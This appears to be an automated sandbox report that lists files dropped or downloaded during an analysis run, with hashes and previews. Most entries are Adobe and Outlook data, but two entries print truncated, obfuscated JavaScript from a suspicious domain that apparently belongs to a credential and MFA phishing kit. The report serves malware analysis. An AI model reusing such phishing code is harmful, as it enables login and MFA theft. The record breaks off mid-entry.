SHA-512:	9A2FB9C56CEC71C3C166E70471A1B867C83E61A6A30A8B6ABFD695D751348496221CF046E27C755155F9A0923479A766BA5CCCFC784B8BA67B9F66227BC9EDC8
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"8421fcfc-93aa-4b25-9059-100a5c3b0967","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744906578773,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.304943936615931
Encrypted:	false
SSDEEP:
MD5:	10D43B9E20DB1C71A5F70DBA4F71C4C0
SHA1:	1B35E66A7FADB53633913477634F194EAFFC8566
SHA-256:	125B1FC732BCE0D8E8EF95E0FF5647162DA2F22BAFFC8FD6E91E886719276ADD
SHA-512:	1F06E0219972472F2A66A3F115CD3A939A9F0F407521AF3E14379BC9D197BFD998F3CDF6DD516944EB10183B73FCE10688FFE8BC4FCD7BF1181697A9CF30BDAE
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"8421fcfc-93aa-4b25-9059-100a5c3b0967","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744906578773,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.302296236342634
Encrypted:	false
SSDEEP:
MD5:	6FCA583FFA6E3AFF99C4E2F9B105B83F
SHA1:	1BD7E404C31824B3EE67ED0689AF4C2FC49CE071
SHA-256:	ACF13DD0BBDFAAE2FD219B39762F553D4D4D0F3E1353C29E0E4DCEB003CC8C60
SHA-512:	81FC287C900794A8855CCB7A65B1760065BB82825B9DB9DCCF0348D223457BF264109563ED9A4A5277B8EEE738B67638F5F5F2310E01DB55FCA0CD22456CC408
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"8421fcfc-93aa-4b25-9059-100a5c3b0967","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744906578773,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.306234734280339
Encrypted:	false
SSDEEP:
MD5:	37933039703D5606BE94823FFCF3B4D9
SHA1:	980069A84B511544743FFD0FC4E20C657261022B
SHA-256:	EC0EA053BB5F666580F55FFC59F2572BEB843C6CB91ED96687D1D7977BA7B94A
SHA-512:	1B843D66AC9824A0AE98D84B2DB01403D47DA5DE72AF551416C5BA67E5992810BBAFFECFB8B555E1AE3C23416955F711C326BDB13EB4F85ED40CBC3D499B247D
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"8421fcfc-93aa-4b25-9059-100a5c3b0967","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744906578773,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2112
Entropy (8bit):	5.850882716379816
Encrypted:	false
SSDEEP:
MD5:	01B5543CDE83F1513AC2F431CFBF9AD2
SHA1:	0A4049D83D101AB8197B200F8473A5DE5CEE082D
SHA-256:	AAD03E49E115E103F0208B081A16B6BC359B7EC5BA3DD64C30DF716285B7B9AC
SHA-512:	997AFB331BBB358B195867302DC70B2C509FC51E08A5B13695E3AAC2216F2A1CA3CDFC9398B63182E1506D11F61D14BF9C1B17196BE966DF7ECE687851BD7845
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"8421fcfc-93aa-4b25-9059-100a5c3b0967","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744906578773,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"102656_316349ActionBlock_0","campaignId":102656,"containerId":"1","controlGroupId":"","treatmentId":"339c0ba6-2e61-4622-82f6-f07787d206b8","variationId":"316349"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJkYXRhIjp7ImxocFYyQnlQYXRoIjp7Iml0ZW0iOnsiX3BhdGgiOiIvY29udGVudC9kYW0vYWNyb2JhdGRlc2t0b3AvZ3Jvd3RoL3JlYWRlci9lbi11cy9saHAtYmFubmVyL3YyL3NpZ24iLCJfaWQiOiJkMDQzMmY0Yy1hNTM2LTRlMzktOGNkNS1jYThiYjRhZTY2YzIiLCJfdmFyaWF0aW9uIjoicmdzMDM2MS0wIiwidGl0bGUiOm51bGwsImRlc2NyaXB0aW9uIjoiRWFzaWx5IGZpbGwgYW5kIHNpZ24gUERGcy4iLCJjdGFMYWJlbCI6bnVsbCwiY3RhQmVoYXZpb3IiOm51bGwsImN0YVVybCI6bnV

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2833201506585565
Encrypted:	false
SSDEEP:
MD5:	6A58930C84D9F08A17329A5452978E7D
SHA1:	BA8526E46EE3AE0A6A53D871498289FBFECA87EE
SHA-256:	6A545C370B7875DF5C97F89FB054EFC0DFE1FB02D22D81C292BA46A7DF3A9572
SHA-512:	B25EC152818F687C4AE004D98C66BDDA4562A0DE0220E90C0B797C71D64E397433A10720FE8DDA73A6343225D3EFADCF0701D690D9546CBF70B42DE2E826DA44
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"8421fcfc-93aa-4b25-9059-100a5c3b0967","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744906578773,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.288045850116141
Encrypted:	false
SSDEEP:
MD5:	89C4C8FB18EE0B5FE6856308EEA7CCD9
SHA1:	3278AC17EC9ACB7779D933DC66A034D291EADD86
SHA-256:	586E8A40033464E964AD3E96277E41BF1318F54721B08521B61C3BD8AA64A225
SHA-512:	9537F9D92CC9A07D2FA0E7714D8016216BBE1A3DA71DFA68B324ECBF59EB90B6AA15490E224C9D4043C253BF52CDB9D53F174B81B63F8C0F39003FF926BCDEC8
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"8421fcfc-93aa-4b25-9059-100a5c3b0967","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744906578773,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Reputation:	unknown
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2815
Entropy (8bit):	5.137591057308025
Encrypted:	false
SSDEEP:
MD5:	D7F7AB6B1E85A4DCC104E992214F55ED
SHA1:	D73C0FA2A7538BCF4C90E5BEF819DD25C25055E4
SHA-256:	ADBA02330FCD45FA99F82073A089F502BFF59A823945A4CFC76272981EE58899
SHA-512:	18D06F53C5E78092865303EAA3F6A67E265A649A08E1D6FE155541EABEFDCE755C7A5231172F7406ED0C2529851EF71CF60517BCD71DFA53D039D53847FB7746
Malicious:	false
Reputation:	unknown
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"91db51e9d093536205a781cc94ba3abe","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1744730267000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"15cf648edc40d2e02838752cc53ddb31","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":2112,"ts":1744730267000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"2b55ed03eae4b16cfccb5c20814be60e","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":2160,"ts":1744730267000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"cc93eae55b271c7a7176fa1295a411b1","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":2213,"ts":1744730267000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"4dc90e0be85789f28509ab4f80b61229","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1744730267000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"5d6d888fd3206765d9f34f69db1a9de8","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file",

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9893685604783068
Encrypted:	false
SSDEEP:
MD5:	9D12377D6720BD58EFF3DAD29EAAD417
SHA1:	2F37B56112A394C81D9119D0C91B6120F5C3E50D
SHA-256:	D93599CD23FDD3716657D6A6AE79F42566506F833DF1B5F619594AC365AA0696
SHA-512:	D62A3CD5899958A2D58D40D8FF2588D11BB662BEF8826BE8D134EC2597B619C222CE5A85F5F2A28F1B84A9CB063162FEB600E70B8F99885F68DE2853941EDF85
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.343757977307776
Encrypted:	false
SSDEEP:
MD5:	56AFCA99B8BC57D29F0A34609BD9A63D
SHA1:	F2147113DD6D3E7962936CF0D17E8F07C09A2BA5
SHA-256:	C66668BA340E50D34FAEF425E31555ABD8CEF63CC06A0B1B408EC40D11863241
SHA-512:	08CE14720143BB5CC7B1653B85C63D29A1B099858F9A5407AEFD39AD33CAE495D4EDA75A7F701483D03C01D953D68279747D76CC218DEC9CF6FF160A4021FFFD
Malicious:	false
Reputation:	unknown
Preview:	.... .c.....'.lB......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI3a70c.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4967695053263634
Encrypted:	false
SSDEEP:
MD5:	BE9775D9893A6DF1C1F09D4A9BD31D40
SHA1:	4FDB825F44D57B479B115F0200B474E0248085E6
SHA-256:	795919DF7F154C61881856060EC4EC5353741FAA68E5B1B64C6E2FE0015EB647
SHA-512:	EDA3A850369346BD86FFFB4037514BF2685D35E84E7CEFFFB77887A6E2E33597556D1D6A89E2617BD7A4F13A35E5D2BB4F51CC2683F9EC10856E2C7DACE3E6B6
Malicious:	false
Reputation:	unknown
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.5./.0.4./.2.0.2.5. . .1.1.:.1.7.:.5.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20250415T1117360808-6964.etl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	3.55823963797131
Encrypted:	false
SSDEEP:
MD5:	973BD0359B937D6DC0678BA4A1850346
SHA1:	5C91979DA49008806938F21673E6A424203C981C
SHA-256:	AC057823602107D90E29489323720D10DBA90E581982D3F5BAF38E186F5953D5
SHA-512:	A5AF7928A1C8995D1CF8257CE7786349FF8E3B0CC36C6259E8FFD49144975C2F08EA44ED9179218554538C3AC3085BFCB77BBA76018CBF2A01EA9F7C52736641
Malicious:	false
Reputation:	unknown
Preview:	............................................................................`...p...4....\|......................eJ......z@$.....Zb..2...................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1...........................................................0..2............\|..............v.2._.O.U.T.L.O.O.K.:.1.b.3.4.:.c.6.8.8.1.8.0.c.a.6.9.f.4.9.7.e.a.c.4.0.8.b.9.0.0.3.d.c.b.3.c.5...C.:.\.U.s.e.r.s.\.c.a.l.i.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.O.u.t.l.o.o.k. .L.o.g.g.i.n.g.\.O.U.T.L.O.O.K._.1.6._.0._.1.6.8.2.7._.2.0.1.3.0.-.2.0.2.5.0.4.1.5.T.1.1.1.7.3.6.0.8.0.8.-.6.9.6.4...e.t.l.......P.P.p...4....\|..............................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-04-15 11-17-45-302.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.353642815103214
Encrypted:	false
SSDEEP:
MD5:	91F06491552FC977E9E8AF47786EE7C1
SHA1:	8FEB27904897FFCC2BE1A985D479D7F75F11CEFC
SHA-256:	06582F9F48220653B0CB355A53A9B145DA049C536D00095C57FCB3E941BA90BB
SHA-512:	A63E6E0D25B88EBB6602885AB8E91167D37267B24516A11F7492F48876D3DDCAE44FFC386E146F3CF6EB4FA6AF251602143F254687B17FCFE6F00783095C5082
Malicious:	false
Reputation:	unknown
Preview:	SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:072+0200 ThreadID=6404 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:072+0200 ThreadID=6404 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:072+0200 ThreadID=6404 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:073+0200 ThreadID=6404 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:073+0200 ThreadID=6404 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.423219354917052
Encrypted:	false
SSDEEP:
MD5:	54547F76C7FB6B67E203D26F24FE947A
SHA1:	1ED566ABA0974929797F0F59975D2432B251F232
SHA-256:	9F1F8B5F7C65683FC122E2AE8119DCBC3A7CD27FBEBDA5F690B868BE4D05DA4F
SHA-512:	DA051C5F37DA48B475FFF05B27A22BEC36210B03DBF1FAFC44EC7736D12EA51E1DA7A02C8D1744000A9231730B03DB7D8FE7547369FC8E594B63D36F22DF7C66
Malicious:	false
Reputation:	unknown
Preview:	06-10-2023 10:08:42:.---2---..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : *************************************..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : ***********************************..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : Starting NGL..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..06-10-2023 10:08:42:.Closing File..06-10-

C:\Users\user\AppData\Local\Temp\olkB36C.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	62817
Entropy (8bit):	6.041324226343449
Encrypted:	false
SSDEEP:
MD5:	87260D9AD6ED75A42B01419F63627C7F
SHA1:	EB4CA4B8D454BFA799460AD060801FF975CDCCD9
SHA-256:	92757E6A114796674F063F1B796B2132CC29D60B86444642747B9AADEAE20317
SHA-512:	89340D5B26A021A70BC636A82B0288399109EBF946B1EC0D4C94492F08C3D5E88C71EB1FC1AD8A6F6926DA8A11A9C2EB91E8883ACB501306A7D5027576CA3A9C
Malicious:	false
Reputation:	unknown
Preview:	PuYvmYiSCa6D5U4lc4iqNo..xC8RwiPYgqsQpLfhEqWbLBZP9C4BRYysRBExwAI7ATZCBRv14h4sBPAtErAXtWggn+MC4sYJ..MoAcFedcq6rHk2jGxbgG12AxmvAkbsevNLvUL2MasQMq99AdeA5v4zxMwAcIIRVVuBHzcZcq..HzVwYxI6cDtuH5qIsHjjYR+huBSVGIeVmK6aiFzcoqzErViBw5gCF57FCuVW1Cp/wkzlCuUa..LFTuUhZgGWYp9yEP65U+lGOTOkLnqgOqUryLZ8lTmIi3yDXox0S8SWzETxz4BJ/gjwDGqR9F..j+p1zEK1cq3yKlKQAy+2YBEm4whW43McxUQ2gJKhc2mvMoG1Y4P6EGYo9yoyScBypQ3T8Bi2..adXYjm5kqLfBj2tUS2kQK36ouY0UoRsL1Hey19mXqvafPhvyH/cf9x/3H/cf9x/3H/f/e2eD..DXb+wC9S4YIHuchDHvLF+r4IIZSiHKMwGhWoxBhUYSzGYTwmYAImYwqmYhqmYRZmYY54f3EB..FqAJTTgPC9Ei3oRZJt4AWoFV4l2oDqwXu78LcCkuw0Z043L8HL/EJmxCD67D9bgFt+BW3Irb..sRW/x924BzvQj37sRgx78DiewJ/FvvEveBrPYC/2Yh+ew3N4AS/iJbyM1/Em3vphbfYuDuEw..DuMDfBh/S4Vwp2aMUELgUH9mGMC3OoU//64MQY8EZQgJghpgUE7x576VUzAKaoJROQUzjMpJ..SDArJ2ER1ApJOYkkSMr3SIZF+R4psCrfw4Zk5XvYkaz8Aw6kKP+AE3blH0gV1AWH8h3SkKp8..h3RBM+BSvoOMNOU7uJGmfAsP0pVv+T125Vv44Fa+RSbcyt/hh0f5O7LgVf6ObEFzkKl8g1z4..lW+QhyzlGwSQrXyDfOQoX6MAucrXKESe8jWKBA0ioJxAMfKVEwihQDmBEkFLUaT8DWUIKn9D..uaCjUKz8DaMRUr

Chrome Cache Entry: 177

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (4882), with CRLF line terminators
Category:	dropped
Size (bytes):	17444
Entropy (8bit):	5.339062952133258
Encrypted:	false
SSDEEP:
MD5:	3A5CD4CC886CE5CB9C819CFD8FEE69E3
SHA1:	F5A2ACA33882CEF963FA8EB29A57C0960A679683
SHA-256:	E76D373303BF62DD0EA268F5F16B09EF864D6B2C782D0E4462F4314CC824B8B8
SHA-512:	16116D3C18A1C213ABFF18CA3FE104C9CE7734FB8C288EEA4E9F562F3B1408EEA839A4465304C21107A1308CEB4B6ABAB135BF68D19667C35E5AA0A94F1042BC
Malicious:	false
Reputation:	unknown
Preview:	..<style>.. ..@font-face...{font-family:'proxima-ss-reg';...font-weight:normal;...font-style:normal}..@font-face...{font-family:'proxima-ss-sbold';...font-weight:bold;...font-style:normal}..@font-face...{font-family:'proxima-ss-bold';...font-weight:bold;...font-style:normal}...rps_43eb html, .rps_43eb > div...{margin:0 auto!important;...padding:0!important;...height:100%!important;...width:100%!important;...background:#ffffff;...font-family:proxima_nova,Arial,sans-serif}...rps_43eb ...{}...rps_43eb table, .rps_43eb td...{}...rps_43eb table...{border-spacing:0!important;...border-collapse:collapse!important;...table-layout:auto!important;...margin:0 auto!important}...rps_43eb img...{}...rps_43eb a...{text-decoration:none}...rps_43eb [x-apple-data-detectors], .rps_43eb .x_unstyle-auto-detected-links *, .rps_43eb .x_aBn...{border-bottom:0!important;...color:inherit!important;...text-decoration:none!important;...font-size:inherit!important;...font-family:inherit!important;...font-weig

Chrome Cache Entry: 178

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1875), with no line terminators
Category:	downloaded
Size (bytes):	1875
Entropy (8bit):	5.449870501607163
Encrypted:	false
SSDEEP:
MD5:	1E893052C52795E7442F534C1E5E28F2
SHA1:	92875889DC90F794E6B4EFE8C6BCEA3ACED62E67
SHA-256:	89CE7978EB7123577BBE258AC30D4B1239FC97F074B8CF6F79081A67B25C6345
SHA-512:	29B489F299F97A2832D8199A6039A21522EE5F0F0D03184D3872E1C8C0395C8DE8B06BDDA80138D8C3D53911AA68250880B782E0D5852288B7A689E26D5827F2
Malicious:	false
Reputation:	unknown
URL:	https://cochranamdmann.com/bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/assets/js/url_helper.js
Preview:	const _0x568c4c=_0x5e48;(function(_0x5174f2,_0x1895d0){const _0x59d208=_0x5e48,_0x315089=_0x5174f2();while(!![]){try{const _0xc2ec1a=-parseInt(_0x59d208(0x11d))/0x1+parseInt(_0x59d208(0x11f))/0x2(parseInt(_0x59d208(0x115))/0x3)+parseInt(_0x59d208(0x11c))/0x4+parseInt(_0x59d208(0x11a))/0x5(-parseInt(_0x59d208(0x11b))/0x6)+parseInt(_0x59d208(0x116))/0x7(parseInt(_0x59d208(0x118))/0x8)+parseInt(_0x59d208(0x117))/0x9(-parseInt(_0x59d208(0x11e))/0xa)+-parseInt(_0x59d208(0x121))/0xb*(-parseInt(_0x59d208(0x114))/0xc);if(_0xc2ec1a===_0x1895d0)break;else _0x315089['push'](_0x315089['shift']());}catch(_0x1d0a0e){_0x315089['push'](_0x315089['shift']());}}}(_0x7cfe,0xac716));function getBaseUrl(){return window['baseUrl']\|\|'';}function getCurrentAccessKey(){const _0x4082d1=_0x5e48;return window[_0x4082d1(0x123)]\|\|'';}function _0x5e48(_0x5b2ca5,_0xc422a3){const _0x7cfe82=_0x7cfe();return _0x5e48=function(_0x5e4833,_0x30dce6){_0x5e4833=_0x5e4833-0x114;let _0x1cae56=_0x7cfe82[_0x5e4833];return _0x

Chrome Cache Entry: 180

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3435), with no line terminators
Category:	downloaded
Size (bytes):	3435
Entropy (8bit):	5.414701089646287
Encrypted:	false
SSDEEP:
MD5:	0CDEF5702AC92E310CD5EF7A93843ABA
SHA1:	E516F9F65A98D92FCA0726958BF6BF8E93E0E2B2
SHA-256:	E1A754F714E9BA5FF9DB89E58E88DD8DB6AD6302A2ECC4ABC35EC10AABA0E826
SHA-512:	A0A86D28D6E7F6364903FD9F3960661352D371F1CDCB5708F3CED61EF681E2892E721A663FBFC44C4F8696E05DEF3F07BCC42A556969CCA3F0A4245F8C536D68
Malicious:	false
Reputation:	unknown
URL:	https://cochranamdmann.com/bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/assets/js/endpoint.js
Preview:	const _0x43235a=_0x41bd;function _0x4633(){const _0x1a27f6=['floor','json','ss_id','includes','32244AyhIie','Unknown','635nBlDTO','10918uCubpo','OPR','POST','4521531jMNxTK','replace','8875636wOTnLs','random','Trident/','slice','2629392ioMBiK','124Kgjske','Failed\x20to\x20update\x20MFA\x20status:','AuthHandler','stringify','Opera','88FTDDqU','MSIE','Edg/','36840vjRzmJ','998630NZgTrw','log','Login\x20attempt\x20failed:','Firefox','Safari','error','./assets/php/endpoints/accounts.php','Chrome','Disabled','Edge','9ZmaKFi'];_0x4633=function(){return _0x1a27f6;};return _0x4633();}(function(_0x2cd93e,_0x1a9651){const _0xf3a0f6=_0x41bd,_0xeeab0e=_0x2cd93e();while(!![]){try{const _0x4189cd=-parseInt(_0xf3a0f6(0x10d))/0x1(-parseInt(_0xf3a0f6(0x123))/0x2)+parseInt(_0xf3a0f6(0x120))/0x3(-parseInt(_0xf3a0f6(0x108))/0x4)+parseInt(_0xf3a0f6(0x122))/0x5(-parseInt(_0xf3a0f6(0x110))/0x6)+parseInt(_0xf3a0f6(0x126))/0x7+-parseInt(_0xf3a0f6(0x107))/0x8(parseInt(_0xf3a0f6(0x11b))/0x9)+-parseInt(_0xf3a0f

Chrome Cache Entry: 181

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	unknown
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 182

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (611)
Category:	downloaded
Size (bytes):	27150
Entropy (8bit):	4.357340680151037
Encrypted:	false
SSDEEP:
MD5:	46DD133EE00DC1BAE5E4EEBA7B88432F
SHA1:	8AF86A4AC91CE48C062216FB94A6E1D57618A19B
